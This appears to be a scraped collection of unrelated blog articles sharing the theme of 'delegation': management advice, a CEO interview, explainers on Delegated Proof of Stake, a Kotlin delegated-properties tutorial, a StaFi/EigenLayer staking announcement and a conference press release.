sums up the idea well “Don’t tell people how to do things, tell them what to do and let them surprise you with their results.” 4. Delegate, don’t abdicate Empowerment does not mean boundary less freedom. You cannot be too hands off and expect people to figure everything out on their own. People need support to feel empowered. Leaving them to struggle and figure everything out on their own leads to frustration, adds to confusion and lack of support can make them feel helpless. They need your support along the way. Involved too much? You run the risk of micromanagement. Involved too little? It can make you miss those critical moments where your support or advice could have made a difference. The magic is in the balance. Delegation without follow-through is abdication. You can never wash your hands of a task. Even after you delegate it, you are still responsible for its accomplishment, and monitoring the delegated task is the only practical way for you to ensure a result. Monitoring is not meddling, but means checking to make sure an activity is proceeding in line with expectations - Andy Groove Set upfront expectations on the intermediate milestones. Align on frequency of updates. Discuss how and when you can touch base to keep things moving. Knowing you are there to help can act as a powerful force to keep them motivated on the task. When they face challenges or setbacks, help them find their own solutions by asking questions instead of spoon-feeding solutions. Coach, don’t solve is the mantra. Ask relevant questions to develop their critical thinking skills: What have you tried? What worked? What didn’t work? What obstacles stand in your way? What can you do to tackle them? What else can you do to make progress? Who else might be helpful in solving this problem? How can you ask for help? 5. Incorporate feedback loop Every leader is blind to their own blind spots. Consider yourself a rockstar at delegation? Ask your team - they probably think you suck at it. The only way to know where you stand and what you can do to improve is to incorporate feedback from the process. Spend some review time with your team to understand how delegation worked for them: Did they understand the problem clearly? Were they empowered to solve it? Did they get the context and support required to solve it effectively? What were they missing? What can be done better? What’s going well and how can it be improved? What should you absolutely stop doing? What should you start doing to make delegation more effective? What part of delegation doesn’t work and needs a new strategy to make it more effective? Doing this at frequent intervals with your team not only establishes their trust, it opens you to implement your own self-correction process so that you can finally let go of that control and enable your team to start doing more. Summary If you are tasked with the responsibility to lead others, you need to learn to delegate effectively. It’s the only way to scale your impact and the output of your team. Trying to do everything yourself prevents your team from building the essential skills to learn and grow, limits your teams’ collective outcome and can cause you to feel stress and burnout. The first step to let go of control requires a mindset shift from doing to leading others. Break down your goals and map them to different team members based on their skills or the opportunities they need. Be careful to avoid delegating work that shouldn’t be done at all or a task that only you need to fulfill. Delegate the “what” of the problem, support it with “why,” and empower your team to work out the “how.” Stating the expected outcome without the method enables your team to achieve better results. Don’t abdicate your team. Support and coach them to make the right decisions and continue making forward progress. No process can improve without incorporating the feedback loop. Work with your team to determine how you are doing and what you can do to be better. Previously published here .

How Successful Managers Delegate Work Effectively

Effective Leadership Series Isaac Oates is the Founder and CEO of Justworks, the fastest growing HR technology company that helps entrepreneurs and businesses grow with confidence by giving them access to big-company benefits, automated payroll, HR tools, and compliance support — all in one place. FirstMark is a proud investor in Justworks. Early in his career, Isaac worked concurrently at Amazon and in the United States Army as an intelligence officer—in both roles honing various aspects of his leadership approach. After Etsy acquired his first startup Adtuitive, Isaac led Etsy’s HR and payments group. He founded Justworks in 2012. We recently caught up with him to hear more about his growth as a leader, how he handles delegation as CEO, and much more. What was your first management role? What did you learn from it? I started my career as a software engineer at Amazon, where I worked on “third party payments” (3PP), the system that moved money between buyers and sellers on their marketplace. About three years in, I took on a project management role within the team. Even though no one reported to me on paper, I was in a position to lead the broader team to a successful outcome. That was the first time it really clicked that leadership isn’t about the boxes and lines on an org chart, but about following people that you trust and respect. Early in your career, before you assumed leadership roles, what was one quality you appreciated in a great manager? My first manager at Amazon, Phil Wilson, really cared about me as a person. I was 22, fresh out of school and had just started as an engineer on the payments team. Phil would talk with me about his own career experiences and help me think through the challenges I was facing. I think the big lesson was that he could lead by asking questions rather than telling you what to do. He was really good at letting you draw your own conclusions but also getting you where he wanted. This is something I wish I was better at. It requires a lot of patience. He was much more like a coach or older brother in the support he gave and we’re still in touch to this day. The big lesson was that he could lead by asking questions rather than telling you what to do. What are the most important daily or weekly habits that you’ve developed as a leader? Whether it’s on paper, on a spreadsheet, or in my inbox, sorting tasks into different groups and then attacking them together head-on has helped me be more productive. Recently, for example, I set up some filters in my email account that separate messages that demand a response from everything else. That might seem small, but it’s changes in habit like this that have helped me be much more responsive to the people I work with. It’s made a surprisingly large difference in our operating tempo. I also take time on Sundays to draft emails to send out on Monday morning. It helps me catch up on my inbox without also dumping work on my team over the weekend. What framework do you use for your one-on-one meetings? I like to review the goals that we’ve set together, discuss if any changes are appropriate, and then exchange feedback. I have 30 minutes per month with each of my direct reports, so most of our substantive discussion happens in group meetings rather than 1:1. That’s intentional — I think group meetings are helpful in building shared consciousness and minimizing politics. How do you handle delegation? What and when do you choose to delegate and how’d you become comfortable with it? I’ve been fortunate to hire and work with some extremely talented people at Justworks, who are much better at most things than I am. That makes it easy to delegate. That said, if I’m still getting comfortable with their work style or it’s a high-risk project then I ask to stay involved as it progresses. Some things I’ll always stay closely involved in, for example, activities that impact or send messages about our culture like promotions to leadership roles and company-wide events. If I’m still getting comfortable with their work style or it’s a high-risk project then I ask to stay involved as it progresses. What advice would you give to a first-time manager about giving effective feedback? Giving effective feedback is difficult but it gets easier with time. I don’t have a specific framework, but I do acknowledge the person’s accomplishments and the effort they have put in. I also make it clear that my goal is to help them and the entire company perform better and that they should take the feedback in that vein, rather than criticism just for the sake of it.Giving feedback is probably the #1 management challenge for many people, including very senior and experienced leaders. Just keep working on it. What’s one unique hiring tip you’d share with a first-time manager? Start with the basics. Figure out where the person is from, what they’re about, what they value. Then ask yourself the right questions. Will this person strengthen your team? Do you think they have the potential to be promoted a few times? Do they have the curiosity to keep growing? Sometimes you get lucky and the right person falls in your lap, but usually, it takes a lot of nos to get to a yes. It’s worth taking the time. Want more? Check out our other Effective Leadership interviews with seasoned leaders from , , , and . Box Slack Oscar Trello Is there someone who you really admire as a leader (not at your current company) and would like to see us interview? Send their name and short description to jack@firstmarkcap.com.

Justworks’ Isaac Oates on How To Delegate as CEO + More

While having a steady flow of work is essential to any company’s growth, constantly staying busy isn’t always a good sign. Granted, being a small business owner requires sacrifices and that can mean acting as your own accountant, office manager, sales rep, and everything in between. Eventually, however, the natural scope of a business will grow and the tasks at hand will become larger and more demanding; this is when it’s time to delegate. Those with the entrepreneurial spirit tend to be independent idealists with just a dash of stubbornness. Finding their calling by paving their own way to success, starting a business requires dedication and sacrifice. Many new businesses don’t survive their first year, but CEOs with honed delegation skills boost their odds of success right out of the gate. Even further down the line, managers with developed delegation skills have been shown to generate 33% more revenue for their operations than those who rely on micromanaging to assign responsibility. Smart managers understand that real delegation begins on a personal level and the value of getting to know their employees and colleagues. Understanding the work styles, time constraints, and skills of employees is essential. This opens up the door for intuitively delegating the right work to the right employees and is what separates just a boss from a true leader. How does work delegation look in your company? Take a look at this infographic from ScaleTime for more on the , what it takes to be a good manager, and how to help your team work smarter, not harder. art and science of delegation

Knowing When and How to Delegate in Your Company

As the Proof of Stake consensus mechanism gains popularity (often displacing the Proof of Work consensus mechanism), blockchain developers have innovated on the traditional Proof of Stake mechanism, resulting in the Delegated Proof of Stake mechanism. This post will analyze the differences between traditional Proof of Stake and Delegated Proof of Stake consensus mechanisms. Traditional Proof of Stake In traditional Proof of Stake consensus a user must put some cryptocurrency at stake in order to become validator. A system requires a user to put a certain number of cryptocurrency units at stake to be able to verify transactions. The creator of a new block is chosen pseudo-randomly, depending on the user’s wealth and coins at stake. In the Proof of Stake system, blocks are ‘forged’ or ‘minted’, not mined. Users who validate transactions and create new blocks in this system are ‘forgers’. Proof of Stake In most Proof of Stake virtual currencies, digital currency units are created at the launch of the currency and their number is fixed. Therefore, rather than receiving cryptocurrency units as rewards, forgers receive transaction fees. In a few cases, new currency units can be created by inflating the coin supply, and can be used to reward forgers. To validate transactions and create blocks, a forger must first put their own coins at stake. Think of stake as an escrow account: if a forger validates a fraudulent transaction, they lose their holdings, as well as their future rights to participate as a forger. Forgers are therefore incentivized to validate only correct transactions. The Proof of Stake system does not provide a way to distribute coins at the initial, founding phase of a cryptocurrency. So, cryptocurrencies that use this system either begin with an ICO and sell their pre-mined coins, or begin with the Proof of Work system, and switch over later. Most Proof of Stake coins that pay a transaction fee reward for verifying transactions and creating new blocks set a target interest rate that users can expect to earn from staking their coins. For cryptocurrencies in which forgers create new coins, this rate also becomes the maximum rate at which currency supply is inflated over time. Cyptocurrencies that currently run the proof of stake system are BlackCoin, Lisk, Nxt and Peercoin, among others. Delegated Proof of Stake Blockchains running the Delegated Proof of Stake consensus have a select group of witnesses as well as a governing body. The blockchain engineer Daniel Larimer is credited with creating the (DPoS) system. DPoS seeks to by speed up transactions and block creation, while not compromising the decentralized incentive structure at the heart of the blockchain. DPoS is the next step in the evolution of consensus mechanisms. It builds on the original Proof of Stake consensus mechanism and drastically increases speed and scalability. Delegated Proof of Stake In the traditional , a user can put their coins at stake, thereby earning the right to validate transactions, forge blocks, and earn associated rewards. DPoS, a variation of the Proof of Stake consensus, seeks to reach consensus more efficiently. Proof of Stake consensus mechanism Voting In DPoS systems, users ‘vote’ to select ‘witnesses’ (other users they trust to validate transactions), and the top tier of witnesses (who have collected the most votes) earn the right to validate transactions. Users can even delegate their voting power to other users, whom they trust to vote for witnesses on their behalf. Votes are weighed according to the size of each voter’s stake. A user need not have a large stake to enter the top tier of witnesses. Rather, votes from users with large stakes can result in users with relatively small stakes being elevated to the top tier of witnesses. Witnesses The number of witnesses in the top tier is capped at a certain number. These witnesses are responsible for validating transactions and creating blocks, and are in return awarded the associated fees. Though witnesses in the top tier can prevent specific transactions from being included in an upcoming block, they cannot change the details of any transaction. They are thus equivalent to miners in a Proof of Work system. Voting is a continuous process and each witness in the top tier is always at risk of being replaced by a user who gets more votes and is therefore considered more trusted. As a blockchain grows, it becomes increasingly competitive to become or remain a witness in the top tier. Users can also vote to remove a witness in the top tier who has lost their trust. For a witness in the top tier, threat of loss of income and reputation is the primary incentive against malicious behavior. Delegates Users in DPoS systems also vote for a group of ‘delegates’ (trusted parties responsible for maintaining the network). The delegates oversee the governance and performance of the entire blockchain protocol, but do not play a role in transaction validation and block production. For example, the delegates can propose changing the size of a block, or the amount a witness should be paid in return for validating a block. Once the delegates propose such changes, the blockchain’s users vote on whether to adopt them. Blockchains running the DPoS consensus mechanism. Blockchains including Lisk, EOS, Steem, BitShares and Ark have adopted the DPoS consensus mechanism. Summary of Differences between Proof of Stake and DPoS 1. Block creation: in Proof of Stake systems, the creator of a new block is chosen in a pseudo-random way, depending on the user’s coins at stake. In DPoS systems, users vote to elect a number of witnesses. The top tier of witnesses (typically 20) are rewarded for verifying transactions and creating blocks. DPoS is much faster due to a significantly smaller number of users verifying transactions and creating blocks; DPoS is therefore more scalable. 2. Governance: Proof of Stake systems have the blockchain’s rules and parameters programmed into the genesis block. Consequently, any changes mean a fork in the protocol. On the other hand, DPoS systems have an elected panel of delegates who actively govern the blockchain and can propose changes to the protocol, though the changes must be approved by the users for them to come into effect. DPoS aims to create better incentives and a fast, scalable, more distributed and more efficient consensus mechanism.

The Difference Between Traditional and Delegated Proof of Stake

Public blockchains often face scalability issues. To tackle these issues, some blockchains (such as Lisk, EOS, Steem, BitShares and Ark) have adopted the Delegated Proof of Stake (DPoS) consensus mechanism. DPoS seeks to by speed up transactions and block creation, while not compromising the decentralized incentive structure at the heart of the blockchain. In the traditional , a user can put their coins at stake, thereby earning the right to validate transactions, forge blocks, and earn associated rewards. DPoS, a variation of the Proof of Stake consensus, seeks to reach consensus more efficiently. Proof of Stake consensus mechanism Voting In DPoS systems, users ‘vote’ to select ‘witnesses’ (other users they trust to validate transactions), and the top tier of witnesses (who have collected the most votes) earn the right to validate transactions. Users can even delegate their voting power to other users, whom they trust to vote for witnesses on their behalf. Votes are weighed according to the size of each voter’s stake. A user need not have a large stake to enter the top tier of witnesses. Rather, votes from users with large stakes can result in users with relatively small stakes being elevated to the top tier of witnesses. Witnesses The number of witnesses in the top tier is capped at a certain number. These witnesses are responsible for validating transactions and creating blocks, and are in return awarded the associated fees. Though witnesses in the top tier can prevent specific transactions from being included in an upcoming block, they cannot change the details of any transaction. They are thus equivalent to miners in a Proof of Work system. Voting is a continuous process and each witness in the top tier is always at risk of being replaced by a user who gets more votes and is therefore considered more trusted. As a blockchain grows, it becomes increasingly competitive to become or remain a witness in the top tier. Users can also vote to remove a witness in the top tier who has lost their trust. For a witness in the top tier, threat of loss of income and reputation is the primary incentive against malicious behavior. Delegates Users in DPoS systems also vote for a group of ‘delegates’ (trusted parties responsible for maintaining the network). The delegates oversee the governance and performance of the entire blockchain protocol, but do not play a role in transaction validation and block production. For example, the delegates can propose changing the size of a block, or the amount a witness should be paid in return for validating a block. Once the delegates propose such changes, the blockchain’s users vote on whether to adopt them. Blockchain projects currently using Delegated Proof of Stake. Advantages of DPoS systems: · They are much faster than tradition Proof of Work and Proof of Stake systems. · Their incentives and structures enhance the security and integrity of their blockchains, and each user has an incentive to perform their role honestly. · No specialized equipment is required to become a user, witness, or delegate. A normal computer is enough. · They are energy efficient compared to power-hungry Proof of Work hashing algorithms. Summary DPoS is the next step in the evolution of consensus mechanisms. It builds on the original Proof of Stake consensus mechanism and drastically increases speed and scalability.

What is Delegated Proof of Stake?

I like to think of as technological democracy. Just think about how many asshole bosses there are out in the world. Have you ever wanted a system in which you, the employee, get to fire your own incompetent boss? Well, there is a new system that is very close to the reality of employees getting to fire their own managers. It’s called . Delegated Proof of Stake Delegated Proof of Stake If you’ve spent any time in the Bitcoin rabbit hole, you’ve probably come across the terms or other . But guess what, I’m not going to use words like or in this article. I’m going to attempt to explain what (DPOS) is in such a way that anyone, even a 5 year-old could understand it. Proof of Work, Proof of Stake, Proof of Importance consensus algorithms algorithm consensus Delegated Proof of Stake Why Was Delegated Proof of Stake Invented? A blockchain engineer named Daniel Larimer realized that Bitcoin mining was too wasteful of energy. He also recognized that Bitcoin mining would become centralized in the future, with giant mining pools being in control of the Bitcoin network. Additionally, he wanted to build a system that was capable of transaction speeds like 100,000 per second. Bitcoin’s system was too slow due to the way it was designed and the system it used: He decided to invent and build a new system that used very little energy, was lightning fast and also very secure. Dan named this new system, , or . Proof of Work. Delegated Proof of Stake DPOS What are the ingredients for DPOS? A cryptocurrency, a blockchain, community of people, computers and rules. (The examples below are taken from the Steem blockchain) People in a particular cryptocurrency community vote for Witnesses to secure their computer network. Only the top 100 Witnesses are paid for their service. The top 20 earn a regular salary. Because many want to become a Witness, there are hundreds of backup Witnesses. People’s vote strength is determined by how many tokens they hold. This means that people who have more tokens will influence the network more than people who have very few tokens. As the community grows, it gets harder and harder to remain a paid Witness due to increased competition. If a Witness starts acting like an asshole, or stops doing a quality job securing the network, people in the community can remove their votes, essentially firing the bad actor. Voting is always ongoing. This system works because it is able to flush out bad actors and at the same time recognize new valuable members. The system is dependent upon active voters in the community, so educating new members about how the system works is essential to the well-being of the system. I’ve been in the Steem community for over a year and I’ve seen Witnesses come and go based on their actions and reputation. The links below contain more in-depth descriptions of for those of you who want to understand it on a deeper level. Delegated Proof of Stake Current cryptocurrency projects that use Delegated Proof of Stake: BitShares: https://bitshares.org/ Steem: https://steem.io/ : EOS https://eos.io/ Lisk: https://lisk.io/ Ark: https://ark.io/ A video that explains DPOS: Further reading and sources: : Dan Larimer invented DPOS in 2014 https://bitcointalk.org/index.php?topic=558316.0 : DPOS vs. POW by Dan Larimer http://bytemaster.github.io/bitshares/2015/01/04/Delegated-Proof-of-Stake-vs-Proof-of-Work/ : DPOS updated white paper by Dan Larimer https://steemit.com/dpos/@dantheman/dpos-consensus-algorithm-this-missing-white-paper : BitShares http://docs.bitshares.org/bitshares/dpos.html The Merkle: https://themerkle.com/what-is-delegated-proof-of-stake/ Facts about Daniel Larimer, the inventor of Delegated Proof of Stake: https://steemit.com/eosio/@xeroc/historical-facts-about-daniel-larimer-and-his-contributions-to-the-blockchain-industry Overview of different consensus algorithms: https://blog.wavesplatform.com/review-of-blockchain-consensus-mechanisms-f575afae38f2 About the author: published her first book, , on Amazon in 2015. Stellabelle Un-Crap Your Life

Explain Delegated Proof of Stake Like I’m 5

Lazy and map standard delegates and SharedPreferences custom delegate Using some features is easy to write clean and readable code. Thanks to data classes, properties, extension functions and delegates a Kotlin class is usually smaller and easier to read compared to the equivalent Java class. In this post we’ll see how to use Kotlin delegated properties to simplify code. If you are not familiar with this subject you can take a look at the or to . Kotlin Android official documentation this post Lazy delegate The Kotlin standard library contains many useful delegates, for example the function can be used to create a property initialized only when it’s used for the first time. This delegate can be useful to easily initialize a property managed using Dagger: lazy private val navigationController by ( as GithubApp).component.navigationController() lazy { applicationContext } Using Dagger in the standard way you don’t need something similar because the property would be populated invoking an method on a component. In a you can find on I am trying to use Dagger in a simplified way, Activities and Fragments dependencies are manually retrieved from the Dagger component. inject demo project GitHub The code of the previous example can be simplified defining two extension properties to retrieve the Dagger Component from a or from a : Context Fragment val Context. : AppComponentget() = ( as GithubApp).component component applicationContext val Fragment. : AppComponentget() = . component activity component And now the property can be defined in an easy way: private val navigationController by .navigationController() lazy { component } If your class contains just a few injected field you can define them using a lazy delegate, you don’t need to define and invoke method, the property doesn’t need any annotations (so no annotation processing is involved) and it can be declared private and without keyword. inject lateinit Map delegate Another delegate defined in the Kotlin standard library is the . Using it a key-value map can be used in a static way. Sometimes we need to manage a map with a predefined set of keys, for example using Firebase Cloud Messaging the parameters sent by the server are available in a map: map delegate class MyMessagingService : FirebaseMessagingService() { override fun onMessageReceived(message: RemoteMessage?) {  
    super.onMessageReceived(message)  
    val data = (message?._data_ ?: _emptyMap_())._withDefault_ { "" }  
            val title = data\["title"\]  
    val content = data\["content"\]  
      
    _print_("$title $content")  
} } Using the key defined as a string is error prone, I know you can define them in a constant somewhere but defining static final field (or something in a Kotlin object) is so style. We can improve this code using a class with two properties managed using map delegates: Java 1.4 class NotificationParams(val map: Map<String, String>) {val title: String by mapval content: String by map} The code can be rewritten using this class, it won’t compile if there is a typo in the field (that corresponds to the map key): override fun onMessageReceived(message: RemoteMessage?) {super.onMessageReceived(message)val data = (message?. ?: ()). "" **} data emptyMap withDefault { **    val params = NotificationParams(data) _print_("${params.title} ${params.content}") } Shared Preferences On GitHub that can be used to simplify SharedPreferences usage in Kotlin. Let’s see how a custom delegate can be very useful to write a property saved in a shared preference. First of all let’s write an extension function of the class that defines a delegate: there are already many libraries SharedPreferences fun SharedPreferences.int(defaultValue: Int = 0,key: String? = null): ReadWriteProperty<Any, Int> {return object : ReadWriteProperty<Any, Int> {override fun getValue(thisRef: Any, property: KProperty<*>) =getInt(key ?: property.name, defaultValue) override fun setValue(thisRef: Any, property: KProperty<\*>,   
          value: Int) =  
      edit().putInt(key ?: property.name, value).apply() }} This code is not easy to understand if you are not familiar with Kotlin constructs (and maybe even if you are familiar with them). It defines a new extension method that can be invoked on a object, this method returns a that defines how the property will be read and written. There are two optional arguments: the default value and the key used to store the value in the shared preferences (the property name is used if the key is not provided). int SharedPreferences ReadWriteProperty Using this method we can define a class with a field connected to the shared preferences: class MyClass(prefs: SharedPreferences) {var count by prefs. ()} int Every time the property is invoked the value is read (or written) from the shared preferences. We can define similar methods for the other types, to avoid copy and paste we can use a generic method (I know, this is even less readable than the previous definition): private inline fun <T> SharedPreferences.delegate(defaultValue: T,key: String?,crossinline getter: SharedPreferences.(String, T) -> T,crossinline setter: Editor.(String, T) -> Editor): ReadWriteProperty<Any, T> {return object : ReadWriteProperty<Any, T> {override fun getValue(thisRef: Any, property: KProperty<*>) =getter(key ?: property.name, defaultValue) override fun setValue(thisRef: Any, property: KProperty<\*>,   
        value: T) =  
    edit().setter(key ?: property.name, value).apply()  
} } The additional parameters are two functions (both are extension function to simplify the way they are provided when the function is invoked): delegate a getter to read the value from a object SharedPreferences a setter to write the value on an Editor This function is defined as to avoid runtime overhead, using this keyword the and parameters are not translated into a class in the bytecode (more infos are available in the ). inline getter setter official documentation And now we can easily write the methods for all the types that can be written in a shared preferences (here the fact that in Kotlin generics can be used also for the primitive types is really useful): fun SharedPreferences.int(def: Int = 0, key: String? = null) = (def, key, SharedPreferences::getInt, Editor::putInt) delegate fun SharedPreferences.long(def: Long = 0, key: String? = null) = (def, key, SharedPreferences::getLong, Editor::putLong) delegate //... These delegates can be used to write a class that stores a token and count how many times the token is saved (it’s not too useful, it’s just an example): class TokenHolder(prefs: SharedPreferences) {var token by prefs. ()private set string var count by prefs._int_()  
    private set  

fun saveToken(newToken: String) {  
    token = newToken  
    count++  
} } When is invoked we are reading the value from the shared preferences and saving that value incremented by one, something like this (but in a readable and compact form!): count++ prefs.edit().putInt("count", prefs.getInt("count", 0) + 1).apply() is an Android SDK class, using this delegate we are using it in many classes, some of them are probably classes of the business logic of the app. Many developers like to keep these classes Android-free to test them using a JVM test. Using this delegate our class is testable on the JVM even if we are using an Android SDK class. We can write a JVM test using a fake implementation that uses a map to store the values: SharedPreferences SharedPreferences @Test fun shouldCount() {val prefs = FakeSharedPreferences()val tokenHolder = TokenHolder(prefs) tokenHolder.saveToken("a")  
tokenHolder.saveToken("b")  

assertThat(tokenHolder.count).isEqualTo(2)  
assertThat(prefs.getInt("count", 0)).isEqualTo(2) } You can find the Kotlin version of and the original Java version in the (59 Vs 166 lines of code!). FakeSharedPreferences here Calendar repository EDIT: I created a small library based on the example of this post to use Kotlin delegates for shared preferences, you can find it on GitHub here: github.com/NaluLabs/prefs-delegates And that’s all for the first part of this post, in the we’ll see how to use Kotlin delegates to simplify Architecture Components usage (you can have a preview looking at this on GitHub). second part demo project

Kotlin delegates in Android development — Part 1

StaFi, a prominent staking infrastructure provider, has integrated Liquid Restaking Token (LRT) support into its Liquid Staking as a Service (LSaaS) offering. This development comes shortly after the introduction of LSaaS and coincides with the unveiling of the StaFi 2.0 roadmap, indicating a clear direction for the future of staking services. StaFi has been instrumental in providing scalable solutions for staking, particularly by addressing liquidity issues commonly associated with locked-in staking mechanisms. The addition of EigenLayer, a protocol that allows for the restaking of Ethereum tokens, marks a pivotal moment. EigenLayer's technology facilitates the reuse of staked tokens to enhance security across multiple applications, a breakthrough in maximizing blockchain efficiencies. The LSaaS's new capability to support LRT transforms the platform into a more versatile and developer-friendly environment. By simplifying the process of deploying LRT functionalities—such as restaking, minting and burning tokens, and managing pools—StaFi significantly reduces the barriers that previously hampered development speeds and operational scalability. Functionalities Enabled by the Integration The recent update includes several key functionalities: Restake/Unrestake/Withdraw: Allows users to manage their staking positions fluidly.


Mint/Burn LRT: Enables the creation or removal of LRT to adjust supply based on demand.


Restaking Pool: Facilitates the pooling of resources to optimize rewards and risks.


Delegate/Undelegate Restaking Operator: Offers governance capabilities over who manages the restaked assets. Impact on Developers and the Broader Market From a developer’s perspective, the integration is a game-changer. According to Liam Young, the founder of StaFi, it simplifies the previously complex task of building restaking products, dramatically reducing lead times. For the market, this means quicker innovations and the introduction of products that utilize shared security features, enhancing the overall security and utility of blockchain networks. The roadmap points to further expansions, including planned support for Bitcoin LRT and continuous enhancements aligned with EigenLayer's upgrades. These initiatives are expected to solidify StaFi’s transition from a multi-chain liquid staking protocol to a more foundational layer that offers extensive infrastructure capabilities. The integration of LRT into StaFi’s LSaaS stack represents a significant step forward in the evolution of blockchain infrastructure. By enabling more efficient and flexible staking solutions, StaFi is not just responding to current market needs but is also paving the way for future advancements. This development holds the potential to catalyze further innovations within the blockchain space, reinforcing StaFi’s role as a key player in the ongoing evolution of decentralized finance. This progress in blockchain technology continues to open new avenues for developers and investors alike, promising an exciting future for the integration of traditional finance and decentralized networks. Dont forget to like and share the story! Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program. HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYOR. StaFi , a prominent staking infrastructure provider, has integrated Liquid Restaking Token (LRT) support into its Liquid Staking as a Service (LSaaS) offering. This development comes shortly after the introduction of LSaaS and coincides with the unveiling of the StaFi 2.0 roadmap, indicating a clear direction for the future of staking services. StaFi StaFi has been instrumental in providing scalable solutions for staking, particularly by addressing liquidity issues commonly associated with locked-in staking mechanisms. The addition of EigenLayer, a protocol that allows for the restaking of Ethereum tokens, marks a pivotal moment. EigenLayer's technology facilitates the reuse of staked tokens to enhance security across multiple applications, a breakthrough in maximizing blockchain efficiencies. The LSaaS's new capability to support LRT transforms the platform into a more versatile and developer-friendly environment. By simplifying the process of deploying LRT functionalities—such as restaking, minting and burning tokens, and managing pools—StaFi significantly reduces the barriers that previously hampered development speeds and operational scalability. Functionalities Enabled by the Integration Functionalities Enabled by the Integration The recent update includes several key functionalities: Restake/Unrestake/Withdraw: Allows users to manage their staking positions fluidly. Mint/Burn LRT: Enables the creation or removal of LRT to adjust supply based on demand. Restaking Pool: Facilitates the pooling of resources to optimize rewards and risks. Delegate/Undelegate Restaking Operator: Offers governance capabilities over who manages the restaked assets. Restake/Unrestake/Withdraw: Allows users to manage their staking positions fluidly. Restake/Unrestake/Withdraw: Allows users to manage their staking positions fluidly. Restake/Unrestake/Withdraw: Mint/Burn LRT: Enables the creation or removal of LRT to adjust supply based on demand. Mint/Burn LRT: Enables the creation or removal of LRT to adjust supply based on demand. Mint/Burn LRT: Restaking Pool: Facilitates the pooling of resources to optimize rewards and risks. Restaking Pool: Facilitates the pooling of resources to optimize rewards and risks. Restaking Pool: Delegate/Undelegate Restaking Operator: Offers governance capabilities over who manages the restaked assets. Delegate/Undelegate Restaking Operator: Offers governance capabilities over who manages the restaked assets. Delegate/Undelegate Restaking Operator: Impact on Developers and the Broader Market Impact on Developers and the Broader Market From a developer’s perspective, the integration is a game-changer. According to Liam Young, the founder of StaFi, it simplifies the previously complex task of building restaking products, dramatically reducing lead times. For the market, this means quicker innovations and the introduction of products that utilize shared security features, enhancing the overall security and utility of blockchain networks. The roadmap points to further expansions, including planned support for Bitcoin LRT and continuous enhancements aligned with EigenLayer's upgrades. These initiatives are expected to solidify StaFi’s transition from a multi-chain liquid staking protocol to a more foundational layer that offers extensive infrastructure capabilities. The integration of LRT into StaFi’s LSaaS stack represents a significant step forward in the evolution of blockchain infrastructure. By enabling more efficient and flexible staking solutions, StaFi is not just responding to current market needs but is also paving the way for future advancements. This development holds the potential to catalyze further innovations within the blockchain space, reinforcing StaFi’s role as a key player in the ongoing evolution of decentralized finance. This progress in blockchain technology continues to open new avenues for developers and investors alike, promising an exciting future for the integration of traditional finance and decentralized networks. Dont forget to like and share the story! Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program. HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYOR. Vested Interest Disclosure: This author is an independent contributor publishing via our business blogging program . HackerNoon has reviewed the report for quality, but the claims herein belong to the author. #DYOR. Vested Interest Disclosure: business blogging program business blogging program

StaFi’s Integration with EigenLayer Simplifies Crypto Staking

EigenLayer-এর সাথে StaFi-এর ইন্টিগ্রেশন ক্রিপ্টো স্টেকিংকে সহজ করে

Die Integration von StaFi mit EigenLayer vereinfacht das Krypto-Staking

La integración de StaFi con EigenLayer simplifica las apuestas criptográficas

L'intégration de StaFi avec EigenLayer simplifie le jalonnement cryptographique

StaFi का EigenLayer के साथ एकीकरण क्रिप्टो स्टेकिंग को सरल बनाता है

StaFiとEigenLayerの統合により暗号通貨のステーキングが簡素化

StaFi와 EigenLayer의 통합으로 암호화폐 스테이킹 간소화

A integração do StaFi com o EigenLayer simplifica o staking de criptografia

Интеграция StaFi с EigenLayer упрощает ставку криптовалюты

StaFi'nin EigenLayer ile Entegrasyonu Kripto Staking'i Kolaylaştırıyor

Sự tích hợp của StaFi với EigenLayer giúp đơn giản hóa việc đặt cược tiền điện tử

StaFi 与 EigenLayer 的集成简化了加密货币质押

Uniting innovators, HackerNoon elevates the 2.0 Conferences, spotlighting insights from Dubai’s major industry events for a worldwide audience. Dubai, UAE — March 26, 2024- The 2.0 Conferences series featuring five global events — the Health, Marketing, CXO, Internet, and Education 2.0 Conferences — were successfully hosted at the InterContinental, Dubai Festival City, Dubai, UAE, from February 20–22, 2024. Attendees were treated to an unparalleled experience, gaining incredible insights from industry leaders, discussing trending topics, and embracing opportunities for networking and collaboration. HackerNoon, serving as the event’s media partner, played a crucial role in amplifying the reach and engagement of the conference, leveraging its extensive tech and business journalism expertise to highlight the event’s key moments and insights. The essence of The 2.0 Conferences lies in its gathering of forward-thinking professionals across various industries. It promotes innovation and strategic thinking by connecting attendees with experts and thought leaders. This initiative is rooted in a mission to encourage creative problem-solving, promote new perspectives, and facilitate the sharing of groundbreaking ideas. The conference offers more than just presentations; it’s a platform for building lasting professional connections and sharing valuable experiences. HackerNoon, known for its commitment to providing a space for technologists to share knowledge and ideas, significantly contributed to the success of The 2.0 Conferences. With a community of over 45,000 writers and 4 million monthly readers, HackerNoon ensured that the insights and innovations shared at the conference reached a broader audience. This collaboration allowed for dissemination of cutting-edge ideas and strategies discussed during the event, making the content accessible to a global community interested in technological advancements and industry trends. “The collaboration with HackerNoon brought a new dimension to our conference. Their coverage extended our reach and helped highlight the significant contributions and insights shared by our speakers and participants,” commented Yashasvi Kapoor, Manager of Delegate Relations at The 2.0 Conferences. This strategic collaboration between HackerNoon and The 2.0 Conferences brought tangible benefits to the table, enhancing the attendee experience and broadening the event’s influence. The partnership ensured the conferences’ innovative ideas reached a global audience, harnessing a deeper understanding and appreciation of the potential to shape the future. About The 2.0 Conferences The 2.0 Conferences is dedicated to bringing together thought leaders and innovators from various sectors to share ideas, strategies, and insights. Focusing on promoting innovation and strategic thinking, the conference series aims to inspire change and drive progress across multiple industries. Our commitment to creating meaningful connections and learning opportunities ensures a valuable and impactful experience for all participants. For more information, check out their website-www.the2conf.com. Uniting innovators, HackerNoon elevates the 2.0 Conferences, spotlighting insights from Dubai’s major industry events for a worldwide audience. Uniting innovators, HackerNoon elevates the 2.0 Conferences, spotlighting insights from Dubai’s major industry events for a worldwide audience. Dubai, UAE — March 26, 2024- The 2.0 Conferences series featuring five global events — the Health, Marketing, CXO, Internet, and Education 2.0 Conferences — were successfully hosted at the InterContinental, Dubai Festival City, Dubai, UAE, from February 20–22, 2024. Attendees were treated to an unparalleled experience, gaining incredible insights from industry leaders, discussing trending topics, and embracing 